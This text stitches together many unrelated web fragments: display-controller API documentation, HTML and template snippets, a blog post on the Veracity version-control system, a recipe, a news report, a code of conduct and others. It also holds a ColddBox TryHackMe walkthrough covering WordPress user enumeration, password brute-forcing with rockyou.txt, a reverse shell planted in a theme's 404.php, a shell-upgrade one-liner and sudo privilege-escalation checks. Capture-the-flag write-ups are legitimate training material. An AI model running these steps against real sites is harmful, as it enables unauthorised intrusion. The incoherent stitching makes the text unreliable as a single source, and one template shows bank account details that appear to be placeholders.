| #define | CSL_DSS_VP_INTR_SECURITYVIOLATION_MASK ((uint32_t) CSL_DSS_COMMON_M_VP_IRQENABLE_0_SECURITYVIOLATION_EN_MASK) |
| Interrupt due to security violation. | |
| #define | CSL_DSS_VP_INTR_GOBITCLEAR_MASK ((uint32_t) CSL_DSS_COMMON_M_VP_IRQENABLE_0_VPSYNC_EN_MASK) |
| Go bit clear interrupt for VP. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION4_MASK ((uint32_t) 0x2000U) |
| Interrupt due to region 4 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION5_MASK ((uint32_t) 0x4000U) |
| Interrupt due to region 5 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION6_MASK ((uint32_t) 0x8000U) |
| Interrupt due to region 6 safety violation. | |
| #define | CSL_DSS_VP_INTR_SAFETYVIOLATION_REGION7_MASK ((uint32_t) 0x10000U) |
| Interrupt due to region 7 safety violation. | |
| #define | CSL_DSS_VP_INTR_ALL_MASK |
| All Video Port interrupts. | |
Write back Pipeline Interrupt Mask | |
| #define | CSL_DSS_WB_PIPE_INTR_WBSYNC_MASK ((uint32_t) CSL_DSS_COMMON_M_WB_IRQENABLE_WBSYNC_EN_MASK) |
| Interrupt due to completion of write back sync. | |
| #define | CSL_DSS_WB_PIPE_INTR_SECURITYVIOLATION_MASK ((uint32_t) CSL_DSS_COMMON_M_WB_IRQENABLE_SECURITYVIOLATION_EN_MASK) |
| Interrupt due to security violation. | |
| #define | CSL_DSS_WB_PIPE_INTR_FRAMEDONE_MASK ((uint32_t) CSL_DSS_COMMON_M_WB_IRQENABLE_WBFRAMEDONE_EN_MASK) |
| Interrupt due to write back frame completion. | |
| #define | CSL_DSS_WB_PIPE_INTR_INCOMPLETE_MASK ((uint32_t) CSL_DSS_COMMON_M_WB_IRQENABLE_WBUNCOMPLETEERROR_EN_MASK) |
| Interrupt due to buffer flush before full drain (Only Capture WB) | |
| #define | CSL_DSS_WB_PIPE_INTR_OVERFLOW_MASK ((uint32_t) CSL_DSS_COMMON_M_WB_IRQENABLE_WBBUFFEROVERFLOW_EN_MASK) |
| Interrupt due to buffer overflow. | |
| #define | CSL_DSS_WB_PIPE_INTR_ALL_MASK |
| All Write Back Pipe interrupts. | |
Mflag Start Mode | |
| #define | CSL_DSS_MFLAG_START_NORMAL ((uint32_t) CSL_DSS_COMMON_M_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_START_VAL_MFLAGNORMALSTARTMODE) |
| Mflag of each pipe is kept at 0 until preload is reached. | |
| #define | CSL_DSS_MFLAG_START_FORCED ((uint32_t) CSL_DSS_COMMON_M_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_START_VAL_MFLAGFORCESTARTMODE) |
| Mflag is driven as per Mflag Ctrl. | |
Mflag Control | |
| #define | CSL_DSS_MFLAG_CTRL_DISABLED ((uint32_t) CSL_DSS_COMMON_M_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_CTRL_VAL_MFLAGDIS) |
| Mflag is disabled. | |
| #define | CSL_DSS_MFLAG_CTRL_FORCE_ENABLE ((uint32_t) CSL_DSS_COMMON_M_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_CTRL_VAL_MFLAGFORCE) |
| Mflag is force enabled. | |
| #define | CSL_DSS_MFLAG_CTRL_DYNAMIC ((uint32_t) CSL_DSS_COMMON_M_DISPC_GLOBAL_MFLAG_ATTRIBUTE_MFLAG_CTRL_VAL_MFLAGEN) |
| Mflag signal is set dynamically as per rules. | |
Write back input channel. | |
| #define | CSL_DSS_WB_INPUT_DISABLED ((uint32_t) CSL_DSS_COMMON_M_DISPC_CONNECTIONS_WB_CONN_VAL_NULL) |
| Write back input is disabled. | |
| #define | CSL_DSS_WB_INPUT_VIDL2 ((uint32_t) CSL_DSS_COMMON_M_DISPC_CONNECTIONS_WB_CONN_VAL_VIDL2) |
| Write back input is VIDL2. | |
| #define | CSL_DSS_WB_INPUT_OVERLAY1 ((uint32_t) CSL_DSS_COMMON_M_DISPC_CONNECTIONS_WB_CONN_VAL_OVR1) |
| Write back input is overlay 1. | |
| #define | CSL_DSS_WB_INPUT_OVERLAY2 ((uint32_t) CSL_DSS_COMMON_M_DISPC_CONNECTIONS_WB_CONN_VAL_OVR2) |
| Write back input is overlay 2. | |
| #define | CSL_DSS_WB_INPUT_OVERLAY3 ((uint32_t) CSL_DSS_COMMON_M_DISPC_CONNECTIONS_WB_CONN_VAL_OVR3) |
| Write back input is overlay 3. | |
| #define | CSL_DSS_WB_INPUT_OVERLAY4 ((uint32_t) CSL_DSS_COMMON_M_DISPC_CONNECTIONS_WB_CONN_VAL_OVR4) |
| Write back input is overlay 4. | |
| typedef CSL_dss_commonRegs CSL_dss_commRegs |
DSS Common Registers.
DSS7 UL has two common blocks, hence define a generic structure to have common APIs
| typedef CSL_dss_common_mRegs CSL_dss_commRegs |
DSS Common Registers.
DSS7 has four common blocks, hence define a generic structure to have common APIs
|
inlinestatic |
CSL_DssCbaCfg structure init function.
| cbaCfg | Pointer to CSL_DssCbaCfg structure |
| void CSL_dssClearDispcIntr | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | intrMask | ||
| ) |
Clear the interrupts at DSS top level.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| intrMask | Interrupt Mask. Refer CSL_DssDispcIntrMask for values |
| void CSL_dssClearPipeIntr | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | vidPipeId, | ||
| uint32_t | intrMask | ||
| ) |
Clear the interrupts for Video Pipe.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| vidPipeId | Video Pipe for which interrupt should be cleared. Valid Values: CSL_DSS_VID_PIPE_ID_VID1 CSL_DSS_VID_PIPE_ID_VIDL1 |
| intrMask | Interrupt Mask. Refer CSL_DssVidPipeIntrMask for values |
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| vidPipeId | Video Pipe for which interrupt should be cleared. Valid Values: CSL_DSS_VID_PIPE_ID_VID1 CSL_DSS_VID_PIPE_ID_VIDL1 CSL_DSS_VID_PIPE_ID_VID2 CSL_DSS_VID_PIPE_ID_VIDL2 |
| intrMask | Interrupt Mask. Refer CSL_DssVidPipeIntrMask for values |
| void CSL_dssClearVpIntr | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | portId, | ||
| uint32_t | intrMask | ||
| ) |
Clear the interrupts for Video Port.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portId | Video Port for which interrupt should be cleared. Valid Values: CSL_DSS_VP_ID_1 CSL_DSS_VP_ID_2 |
| intrMask | Interrupt Mask. Refer CSL_DssVpIntrMask for values |
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portId | Video Port for which interrupt should be cleared. Valid Values: CSL_DSS_VP_ID_1 CSL_DSS_VP_ID_2 CSL_DSS_VP_ID_3 CSL_DSS_VP_ID_4 |
| intrMask | Interrupt Mask. Refer CSL_DssVpIntrMask for values |
| void CSL_dssClearWbIntr | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | wbPipeId, | ||
| uint32_t | intrMask | ||
| ) |
Clear the interrupts for Write Back Pipe.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| wbPipeId | Write back Pipe for which interrupt should be cleared. Valid Values: CSL_DSS_WB_PIPE_ID_1 |
| intrMask | Interrupt Mask. Refer CSL_DssWbPipeIntrMask for values |
| int32_t CSL_dssConnectVpToDpi | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | portId, | ||
| uint32_t | dpiId | ||
| ) |
This API can be used to select the VP connection to DPI.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portId | Video Port Id. Possible values are: CSL_DSS_VP_ID_2 or CSL_DSS_VP_ID_4 |
| dpiId | DPI Id. Possible values are: CSL_DSS_DPI_ID_DPI_0 or CSL_DSS_DPI_ID_DPI_1 |
| void CSL_dssEnableDispcIntr | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | intrMask, | ||
| uint32_t | intrEnable | ||
| ) |
Enable/disable the interrupts at DSS top level.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| intrMask | Interrupt Mask. Refer CSL_DssDispcIntrMask for values |
| intrEnable | Enable/Disable the interrupt TRUE: Enable interrupt FALSE: Disable interrupt |
| void CSL_dssEnablePipeIntr | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | vidPipeId, | ||
| uint32_t | intrMask, | ||
| uint32_t | intrEnable | ||
| ) |
Enable/disable the interrupts for Video Pipe.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| vidPipeId | Video Pipe for which interrupt should be configured. Valid Values: CSL_DSS_VID_PIPE_ID_VID1 CSL_DSS_VID_PIPE_ID_VIDL1 |
| intrMask | Interrupt Mask. Refer CSL_DssVidPipeIntrMask for values |
| intrEnable | Enable/Disable the interrupt TRUE: Enable interrupt FALSE: Disable interrupt |
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| vidPipeId | Video Pipe for which interrupt should be configured. Valid Values: CSL_DSS_VID_PIPE_ID_VID1 CSL_DSS_VID_PIPE_ID_VIDL1 CSL_DSS_VID_PIPE_ID_VID2 CSL_DSS_VID_PIPE_ID_VIDL2 |
| intrMask | Interrupt Mask. Refer CSL_DssVidPipeIntrMask for values |
| intrEnable | Enable/Disable the interrupt TRUE: Enable interrupt FALSE: Disable interrupt |
| void CSL_dssEnableVpIntr | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | portId, | ||
| uint32_t | intrMask, | ||
| uint32_t | intrEnable | ||
| ) |
Enable/disable the interrupts for Video Port.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portId | Video Port for which interrupt should be configured. Valid Values: CSL_DSS_VP_ID_1 CSL_DSS_VP_ID_2 |
| intrMask | Interrupt Mask. Refer CSL_DssVpIntrMask for values |
| intrEnable | Enable/Disable the interrupt TRUE: Enable interrupt FALSE: Disable interrupt |
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portId | Video Port for which interrupt should be configured. Valid Values: CSL_DSS_VP_ID_1 CSL_DSS_VP_ID_2 CSL_DSS_VP_ID_3 CSL_DSS_VP_ID_4 |
| intrMask | Interrupt Mask. Refer CSL_DssVpIntrMask for values |
| intrEnable | Enable/Disable the interrupt TRUE: Enable interrupt FALSE: Disable interrupt |
| void CSL_dssEnableWbIntr | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | wbPipeId, | ||
| uint32_t | intrMask, | ||
| uint32_t | intrEnable | ||
| ) |
Enable/disable the interrupts for Write Back Pipe.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| wbPipeId | Write back Pipe for which interrupt should be configured. Valid Values: CSL_DSS_WB_PIPE_ID_1 |
| intrMask | Interrupt Mask. Refer CSL_DssWbPipeIntrMask for values |
| intrEnable | Enable/Disable the interrupt TRUE: Enable interrupt FALSE: Disable interrupt |
| uint32_t CSL_dssGetDispcIntrStatus | ( | const CSL_dss_commRegs * | commRegs | ) |
Get the top level interrupt status of DSS.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| uint32_t CSL_dssGetPipeIntrStatus | ( | const CSL_dss_commRegs * | commRegs, |
| uint32_t | vidPipeId | ||
| ) |
Get the interrupt status of Video Pipe.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| vidPipeId | Video Pipe for which interrupt status should be read. Valid Values: CSL_DSS_VID_PIPE_ID_VID1 CSL_DSS_VID_PIPE_ID_VIDL1 |
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| vidPipeId | Video Pipe for which interrupt status should be read. Valid Values: CSL_DSS_VID_PIPE_ID_VID1 CSL_DSS_VID_PIPE_ID_VIDL1 CSL_DSS_VID_PIPE_ID_VID2 CSL_DSS_VID_PIPE_ID_VIDL2 |
| uint32_t CSL_dssGetVpIntrStatus | ( | const CSL_dss_commRegs * | commRegs, |
| uint32_t | portId | ||
| ) |
Get the interrupt status of Video Port.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portId | Video Port for which interrupt status should be read. Valid Values: CSL_DSS_VP_ID_1 CSL_DSS_VP_ID_2 |
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portId | Video Port for which interrupt status should be read. Valid Values: CSL_DSS_VP_ID_1 CSL_DSS_VP_ID_2 CSL_DSS_VP_ID_3 CSL_DSS_VP_ID_4 |
| uint32_t CSL_dssGetWbIntrStatus | ( | const CSL_dss_commRegs * | commRegs, |
| uint32_t | wbPipeId | ||
| ) |
Get the interrupt status of Write Back Pipe.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| wbPipeId | Write Back Pipe for which interrupt status should be read. Valid Values: CSL_DSS_WB_PIPE_ID_1 |
|
inlinestatic |
CSL_DssGlobalMFlagCfg structure init function.
| mflagCfg | Pointer to CSL_DssGlobalMFlagCfg structure |
| void CSL_dssGlobalVpEnable | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | portIdMask, | ||
| uint32_t | enable | ||
| ) |
Enable the global VP enable bit. This allows setting multiple outputs synchronously. The 'OR' result of different masks can be used as input parameter.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portIdMask | Video Port for which enable bit should be set. Refer CSL_DssVpIdMask for details. |
| enable | Enable/Disable the ports TRUE: Enable ports synchronously FALSE: Disable ports synchronously |
| void CSL_dssGlobalVpGoBitEnable | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | portIdMask | ||
| ) |
Enable the global VP go bit. This allows setting multiple outputs synchronously. The 'OR' result of different masks can be used as input parameter.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| portIdMask | Video Port for which go bit should be set. Refer CSL_DssVpIdMask for details. |
| uint32_t CSL_dssIsOldiResetDone | ( | const CSL_dss_commRegs * | commRegs | ) |
Get OLDI reset status.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| void CSL_dssModuleReset | ( | CSL_dss_commRegs * | commRegs | ) |
Reset the DSS Module. Application should make sure Video Ports are disabled before calling this API.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| void CSL_dssSetCbaConfig | ( | CSL_dss_commRegs * | commRegs, |
| const CSL_DssCbaCfg * | cbaCfg | ||
| ) |
Set the CBA configuration.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| cbaCfg | Pointer to CSL_DssCbaCfg structure. This parameter should not be NULL |
| void CSL_dssSetGlobalMflagConfig | ( | CSL_dss_commRegs * | commRegs, |
| const CSL_DssGlobalMFlagCfg * | mflagCfg | ||
| ) |
Set the global MFLAG configuration.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| mflagCfg | Pointer to CSL_DssGlobalMFlagCfg structure. This parameter should not be NULL |
| void CSL_dssSetWbInputCh | ( | CSL_dss_commRegs * | commRegs, |
| uint32_t | inputCh | ||
| ) |
This API is used to set the write back input channel.
| commRegs | Pointer to a CSL_dss_commRegs structure containing the common configuration |
| inputCh | Write back input channel. Refer CSL_DssWbInputCh for details. |


Tests for
recipes
/image
dimensions
inline
sprite
image in background, that's just that
image with dimensions, more nice
I CAN BE A BUTTON BRO'
I'm invisible
I'm invisible too


And the winner of our Transformers action figure contest is…
by Darryn BonthuysProbably not you! Last week I wanted to know if you guys were interested in winning one of two Transformers action figures from the current Siege: War for Cybertron series, and boy oh boy did you folks want one of those toys badly. I don’t blame you though, I mean just look at how awesome Red Alert is. As a reminder, here’s what was on offer:
So who won? These two guys!
Congrats Clyde and Lyle! I’ll be contacting you soon to arrange details for where to send your prizes to. For the rest of you, good luck with our next and other competitions!


{% set page = { title: '', dev: true, html_classes: [], nav: { section: 'Case view', subsection: 'Third parties (3)' }, layout: prototype.current.layoutPath + 'layout.html', primary: { col: "full" }, secondary: false } %} {% extends page.layout %} {% block primary %}
| Current employer | Employment dates |
|---|---|
|
Argos Crown Street Halifax West Yorkshire HX4 5TA |
Start: 1 Nov 2015 To: Current |
| Information | Current details |
|---|---|
| Bank name | Santander |
| Sort code | 11-45-66 |
| Account number | 56765763 |
| Information | Current details |
|---|---|
| Company | Standard life |
| Account number | 456889789 |
| In payment | £55.22 per week |


PyLFG is a web-based tool for teaching, learning, and researching Lexical Functional Grammar (LFG). This tool allows users to enter sentences, grammars, and lexicons in the LFG formalism, and see the resulting c-structure and f-structure parse trees.
The Input View is the main page of the PyLFG tool. Here, users can enter a sentence to be parsed, select a grammar to use for parsing, and choose which parse tree(s) they would like to see (c-structure, f-structure, or both). The input view also has a link to the Help View for more information.
The Results View displays the c-structure and/or f-structure parse tree(s) for the sentence and grammar selected in the Input View. This view also includes a link to the Input View for parsing another sentence.
The Help View provides information on how to use the PyLFG tool and what the different views and features are.


Kontra
The kontra library object. Typically you will call kontra.init() as the first thing and give it the canvas to use. This will allow all kontra objects to reference the canvas when created.
kontra.init();
Table of Contents
-
Properties
-
Methods
kontra.canvas
The main game canvas. By default, all kontra objects will use this canvas.
kontra.context
The main game context. By default, all kontra objects will render to this context.
kontra.init([canvas])
- canvas {string | HTMLCanvasElement}
- The canvas for kontra to use. Can either be the id of the canvas element or the canvas element itself. Defaults to using the first canvas element on the page.
Initialize the library and set up the canvas. You should call this function first before creating any kontra objects.


Bakan A, Nevins N, Lakdawala AS, Bahar I Druggability Assessment of Allosteric Proteins by Dynamics Simulations in the Presence of Probe Molecules J Chem Theory Comput 2012 8(7):2435-2447.


{% extends 'base.html' %} {% block head %}
The LIGO Webhook Service will validate and relay webhooks from/to
Source{{ src }}
{% for dest in destinations %}
Destination{{ dest }}
{% endfor %}
Please configure your webhook source with the following
Token{{ token }}
URL{{ relaypoint_uri }}
{% if locked == "False" %}
This webhook is unlocked!
Until it is locked, more relay destinations may be added at LIGO Webhook Service
Removing this webhook or a relay destination may be requested by e-mailing
<EMAIL_ADDRESS>{% else %}
This webhook has been locked.
Further changes require administrator help available at
<EMAIL_ADDRESS>{% endif %}
{% endblock %}


{% extends "base.htm" %} {% block title %}Page not found.{% endblock %} {% block content %}
Sorry, the page you requested could not be found.


Students are given continuous running application containers with a set of project components in which they are expected complete its lifecycle with through a web interface. A lot of the configuration complexities involved in setting these is not exposed to either the lecturer or the student. This allows the curriculum be structured in a way that suits the current skills of the students.
Configuration changes are managed at deployment time. For example, you could have 12 students running an instance of project in their own platform containers. If a core component of this project is updated, the student instances also get updated without the need for code distribution through a source control system or a plain old file system operation.
So you have some of your project bundles already defined in form a maven build or a set of jar files. Just provide these to us and we will handle the business of making them available in your platform containers.
With fine grained roles authorization. You can provide your team members with different view points of the system.
Your instances run in a sanboxed environment to prevent malicious activity
Built with open source technologies, we provide you different features to help kick start your software engineering curriculum.
Is a Withinet Software Engineer, Database Professional, and Enterprise Consultant with 3 years industry experience in cloud application development and deployment.
Is a Software Engineering lecturer in the University of St Andrews School of Computer. His main research interest is the development, operation and use of distributed systems.


Ian MacIntosh
Careful author of succinct, readable code. Build it right, build it obvious.
Articles
Stop Waiting for the Responsive Mockups!
(
Medium
, Apr 2, 2014)
Using SVG...
(
Constant Contact Tech Blog
, Sep 25, 2014)
Building for Mobile
(
Medium
, Sep 30, 2014)
My Accounts
Twitter
Flickr
Hype Machine
GitHub
CodePen


...because you have better things to do with your time.
Edit Job
Customer Name: Pattrick Sullivan
Address
Blocks
Open Blocks:
Completed Blocks:
Click on the calendar to update any remaining dates on the job.
Pet/House Sitting
Are pets in the home?
Do you require pet sitting?
Access (please Select)
Booked Sitter
John Sitswell
I've worked in security for more than 20 years. I will ensure your home and belongings are supervised while you're away.


These Mappers allow a developer to programmatically define the connection between persistent objects and the database


List services you can provide in this section. You can add other pages to provide more detailed info to your sites and edit the buttons.
Or you can simply remove buttons if you don't want them to be shown. It's OK to leave a small description of your work.
But please note that your clients should be interested. You can just list more common and most required services you offer.
Tell mpre about your working process here.
Also you can list special services you can offer here.
What makes your works unique?
Bootstrap Layout Templates.
Thank you for your help! We couldn't do anything without you. It was a great pleasure to work with you.
Awesome party! Sibongumusa, you're a great helper. I recommended you to all my friends!
Tel : +1 (2345) 678910
Email : alice@smaller-sites.netlify.app


ColddBox TryHackMe Writeup
ColddBox TryHackme Walkthrough
First Stage : Enumeration
Nmap Scan shows port 80 and 4512 open.
Now lets visit the site on port 80.
Also we can see a comment in the post.
Since the website is wordpress website we should use wpscan to enumerate.
wpscan –url http://<ip>
So the wordpress theme is twentyfifteen.
Lets see if we can enumerate some usernames with wpscan
wpscan –url http://<ip> -e u
So the usernames we found are :
- the cold in person
- hugo
- c0ldd
- philip
Hence our only way in is bruteforce I guess
Second Stage : BruteForce
So lets bruteforce with wpscan itself
wpscan –url http://<ip> –usernames c0ldd -P /usr/share/wordlists/rockyou.txt
So we have username and password lets login and change the 404.php of the theme and get a reverse shell.
Use this command to access the reverse shell
curl http://<ip>/wp-content/themes/twentyfifteen/404.php
So we are inside as www-data
To upgrade the shell use following commands
python3 -c"import pty;pty.spawn('/bin/bash')"
#then press Ctrl-Z to suspend
stty raw -echo ; fg
#then press enter two times
export TERM=screen
Third Stage : Second level enumeration
So we can run linpeas to enumerate
And as we go and read the results of enumeration we see this.
So lets ssh into the machine
We can see the user flag.
Fourth Stage : Privilege Escalation
So lets try
sudo -l
to see what privileges we have .
So if we search in GTFOBins and search for vim we get to see this .


--- layout: page status: publish published: true title: Thank You! author: display_name: Corey Fineran login: Corey email<EMAIL_ADDRESS>url: '' author_login: Corey author_email<EMAIL_ADDRESS>wordpress_id: 10511 wordpress_url: http://ivyenvy.com/?page_id=10511 date: '2014-11-28 07:33:13 +0000' date_gmt: '2014-11-28 13:33:13 +0000' categories: [] tags: [] comments: [] ---
Thank you for purchasing Ivy Envy gear. Your products will be shipped shortly.


--- layout: post esbma_id: 1785 title: Veracity: The next step in DVCS date: 2010-07-14 13:00:00 ---
One week from today, at the O'Reilly Open Source Convention, SourceGear will be making a big announcement. Today I'm giving you an early preview. We've been building something new. :-)
This project has been consuming the bulk of my time, and I am glad to finally be able to write and speak about it. I'll have a lot to say going forward, but for today I just want to answer some questions we anticipate folks will be asking.
At OSCON next week we will be referring to Veracity as "the next step in DVCS". This description may sound a bit audacious, but it describes exactly what we have built Veracity to be.
Git, Mercurial and Bazaar are all great, but we don't think they are the last word. This model of distributed development is the future of our industry. Things are just getting started. We're building Veracity to push forward.
So let me try to explain how our vision is different from what is available from the popular DVCS tools today.
Please understand that my intent here is not to criticize existing tools or start a war with their fans (especially because Veracity needs to simmer a bit longer before it's ready). I simply know that the easiest way to explain something new is to compare it to something well-known.
Veracity goes beyond versioning of directories and files to provide management of records and fields, with full support for pushing, pulling and merging database changesets, just like source tree changesets.
Veracity's decentralized, template-driven database is used for all kinds of administrative data, including user accounts, tags, commit messages, and history. This database is also the platform on which we are building features like work item tracking.
Existing DVCS tools have no real concept of user accounts. Enterprise customers need robust administration features like auditing and permissions. Veracity supports these features with a user system built on its decentralized database engine.
Veracity wraps all the actual storage of a repository in an API. This allows different implementations to offer different tradeoffs. For example, an organization may want to use an enterprise SQL database to store repository data on a central server, while developer desktop machines may use a simpler filesystem-oriented storage engine. You can push and pull changesets across different storage implementations seamlessly.
Just as with Mercurial and Git, Veracity identifies all repository objects using a cryptographic hash of the contents. Veracity supports SHA1 like current tools, but is ready for the future with full support for SHA2 and Skein, at 256 or even 512 bits.
Veracity's default hash is SHA1. Our dogfooding repo is SHA2/256.
Like Bazaar, Veracity assigns every repository object an ID which remains constant when the object is renamed or moved to a different path. This handles the situation where a developer changes both the contents of a file and its path in the same transaction, and is a critical feature for robust merge operations.
Veracity also tracks directories as first-class repository objects, just like files.
From the beginning, we wanted to make it easy to integrate Veracity into all kinds of other systems on a wide variety of platforms. So we wrote everything in C, with Windows, Mac OS and Linux all on equal footing. We love Python too, but C is a lowest common denominator that can be ported or integrated everywhere we need to go.
Current DVCS tools do not yet have much penetration with enterprise customers. This is largely due to lack of features and company infrastructure. But even if Git or Mercurial were enterprise-ready in every other way, many companies will hesitate because of the GPL.
We chose the Apache License Version 2.0 (instead of the GPL) because we wanted there to be no obstacles for Veracity to be adopted in commercial and enterprise scenarios.
The core of Veracity will be open source, but we do plan to sell add-on products built on the core.
Heck no. Vault is like, 100% of our revenue. And there are still thousands of teams on SourceSafe that need to be rescued from their plight. :-)
We looked hard at the notion of morphing Vault into a DVCS and decided it just isn't feasible. If we had forced the square peg into the round hole, the result would either have fallen short of being a true DVCS or it would have been an incredibly painful upgrade for Vault customers.
Vault will continue to be supported and improved for centuries.
Not yet.
We are dogfooding Veracity here at SourceGear, but if anybody else tries to use it, they'll be frustrated. File formats, command syntax and APIs are all still in flux. We have a lot of stuff to finish up before we give it a 1.0 version number.
In the meantime, if you need a DVCS that is ready to use now, Mercurial, Git and Bazaar offer you three great choices.
My blog currently does not have a comments feature, but I would still welcome feedback from anyone who has something to say. If you want to say something privately, feel free to email me directly (eric@sourcegear.com). Or you can use Twitter (eric_sink).
We'll be hosting a project mailing list which will be opened next week when the source is released. And we'll have a "modern" website for the Veracity community a bit later.
Remember, this is open source stuff, so it's not real until the source is actually available. That'll happen a week from today with the "official" announcement. For now, I just wanted to let you know what's coming.


Vanessa Sun
My name is Vanessa(Shuyi) Sun(^_^).
I am a 4th year undergraduate at the University of Waterloo majoring Computer Science with Business Option.
I am passionate about learning and applying all different kinds of new technologies. Just love the sense of achievement building software gives me (almost as satisfying as binge eating >3<).
As for my personal interest, I am a big fan of travelling !!! So far, I have been to Vancouver(CA), New York City(US), Miami(US), Cancun(MEX) and 5 provinces in Costa Rica!
Like most girls in my age, I love trendy things like clothing, interior decoration and makeup.
Last but not least, I love singing !!! Music can always provide me peace of mind, whether listening to it or singing with it out loud.
Seems that I just throw too much information about myself at you...
Wanna talk about some common interests we share? Are you interested in knowing more about me? Please feel free to reach out and chat with me!


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 2
Preheat the oven to 220C/425F/Gas 7.
Heat a frying pan until hot then add the olive oil, cubed bread and rosemary and fry until just golden.
Transfer the croutons onto a baking tray and place in the oven to bake for five minutes, until crisp.
Meanwhile, place a frying pan onto the heat and, when hot, add a little oil and the beef fillets. Fry on each side for two minutes then place in the oven for five minutes, or until cooked to your liking. Remove and allow to rest.
To make the dressing, place the bread and the milk into a food processor and allow to soak together.
Add the garlic, lemon juice and zest and walnuts and blend to a paste.
Add the olive oil and season, to taste, with salt and freshly ground black pepper.
To serve, place the radicchio, walnuts, French beans and broad beans into a bowl and drizzle with the dressing.
Add the parsley and the croutons and mix well.
Divide the salad between two plates, drizzle with olive oil and top with shaved parmesan. Serve with the beef fillet alongside.


WATCH | 'Yoh!' - Building of death collapses
by Iavan PijoosA siren, a loud explosion and then dust.
The ground trembled when the Bank of Lisbon collapsed, as onlookers shouted: "Yoh!"
A siren wailed just after 9am, warning those in the area that the building, which claimed the lives of three firefighters in a blaze last year, was about to be demolished.
A crowd of people had gathered in Johannesburg's city centre, some with children on their shoulders, some on rooftops of neighbouring buildings, and others behind their camera tripods, to witness the event.
The 31-storey building, which used to house the Gauteng departments of health and human settlements, went down in a matter of seconds. It was declared unsafe after the deadly fire.
Dust covered the air and once cleared, the building that brought unspeakable heartache to the families of the late firefighters, was no more.
Jabulile Sibeko travelled all the way from Alberton on the East Rand to see the implosion on Sunday morning.
“It is sad that a building that took so many years to build, can be demolished in less that five minutes.
“I have never seen an implosion before, so I brought my seven-year-old son and three-year-old daughter so that we can experience it together as a family.”


{{authenticatedUser.email}}
{{authenticatedUser.phone || 'Link your phone number to your account'}}
Remove your account from Cat Facts


Code of Conduct
We value the participation of every member of our community and want to ensure an that every contributor has an enjoyable and fulfilling experience. Accordingly, everyone who participates in the Mental Hues project is expected to show respect and courtesy to other community members at all time.
Erin Cole, founder and lead developer of the Mental Hues project and contributors to the Mental Hues project are dedicated to a
harassment-free experience for everyone, regardless of gender, gender identity and expression, sexual orientation, disability, physical appearance, body size, race, age or religion.
We do not tolerate harassment by and/or of members of our community in any form.
We are particularly motivated to support new and/or anxious collaborators, people who are looking to learn and develop their skills, and anyone who has experienced discrimination in the past.
The goal of the Mental Hues project is to diminish the stigma associated with mental health disorders. As with many other open source projects, contributors and community members may have current and past symptoms of mental heath disorders. We ask and require everyone who takes part in developing and promoting the Mental Hues project to be sensitive and considerate of each individual's lived experiences and their journey to the Mental Hues project.
Our expectations
To make clear what is expected, we ask all members of the community to conform to the following Code of Conduct.
- All communication - online and in person - should be appropriate for a professional audience including people of many different backgrounds. Sexual language and imagery is not appropriate at any time.
- Be kind to others. Do not insult or put down other contributors.
- Behave professionally. Remember that harassment and sexist, racist, or exclusionary jokes are not appropriate.
Examples of behavior that contributes to creating a positive environment include:
- Using welcoming and inclusive language
- Being respectful of differing viewpoints and experiences
- Gracefully accepting constructive criticism
- Focusing on what is best for the community
- Showing empathy towards other community members
Harassment includes offensive verbal comments related to gender, sexual orientation, disability, physical appearance, body size, race, religion, sexual images in public spaces, deliberate intimidation, stalking, following, harassing photography or recording, sustained disruption of discussions, inappropriate physical contact, and unwelcome sexual attention.
Examples of unacceptable behavior by community members include:
- The use of sexualized language or imagery and unwelcome sexual attention or advances
- Trolling, insulting/derogatory comments, and personal or political attacks
- Public or private harassment
- Publishing others' private information, such as a physical or electronic address, without explicit permission
- Other conduct which could reasonably be considered inappropriate in a professional setting
Participants asked to stop any harassing behavior are expected to comply immediately.
Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
